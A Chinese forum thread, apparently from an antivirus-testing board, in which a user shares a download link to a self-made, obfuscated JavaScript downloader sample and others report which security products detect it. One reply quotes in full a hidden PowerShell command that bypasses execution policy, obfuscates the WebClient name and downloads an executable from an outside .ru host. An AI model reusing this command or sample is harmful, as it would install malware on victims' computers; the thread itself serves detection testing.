#Downloader (2020-04-10)

显示全部楼层 · 发表于 2020-4-10 16:42:02

https://www.lanzous.com/ib72l1c

https://www.virustotal.com/gui/file/196ac986de64018272dd7a78ab9367d555796bf8e75a71443178af43f98844ed/detection
同样的，低检出率

显示全部楼层 · 发表于 2020-4-10 16:42:22

ESET
扫描miss
双击 AMSI发力杀之

时间;扫描程序;对象类型;对象;检测;操作;用户;信息;哈希;此处首次所见
2020/4/10 16:42:49;AMSI 扫描程序;文件;E:\下载\Compressed\#Downloader (2020-04-10)\adguard.js;JS/TrojanDownloader.Agent.UTA 特洛伊木马;已阻止;PC-202004020931\Administrator;;7F378E77414AF2C72D0F1165060E40F61FDBD663;

复制代码

显示全部楼层 · 发表于 2020-4-10 16:45:15

swizzer 发表于 2020-4-10 16:42
ESET
扫描miss
双击 AMSI发力杀之

这个样本是我自己做的，可能是命中特征了。。
原样本就5个K，混淆后变大13倍。。

显示全部楼层 · 发表于 2020-4-10 16:47:25

智量扫描miss

双击WIBD:HEUR.MalPowershell.B

显示全部楼层 · 发表于 2020-4-10 16:54:35

BEST扫描 miss
实时防护检测到恶意命令行的执行。进程 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe 被阻止, 由于执行了恶意命令行-executionpolicy bypass -noprofile -w hidden $v1='Net.W'; $v2='ebClient'; $var = (New-Object $v1$v2); $var.Headers['User-Agent'] = 'Google Chrome'; $var.downloadfile('http://scproducts7.ru/availableupdatemanager/poppy.exe','C:\Users\JOJO\AppData\Local\TempWHk58.exe');

显示全部楼层 · 发表于 2020-4-10 16:57:17

Avast扫描Miss

显示全部楼层 · 发表于 2020-4-10 17:17:03

@驭龙

为啥VT上 Microsoft

Trojan:Script/Wacatac.C!ml

实机双击没有被杀？

显示全部楼层 · 发表于 2020-4-10 17:29:53

卡巴,火绒扫描miss
没装JS就不跑了

显示全部楼层 · 发表于 2020-4-10 17:50:45

莒县小哥发表于 2020-4-10 17:17
@驭龙

为啥VT上 Microsoft

云抽风不是WD的特色么？

显示全部楼层 · 发表于 2020-4-10 17:54:30

巍巍发表于 2020-4-10 17:29
卡巴,火绒扫描miss
没装JS就不跑了

不是直接由脚本执行宿主执行吗？这不是jar啊

[病毒样本] #Downloader (2020-04-10)

评分

浏览过的版块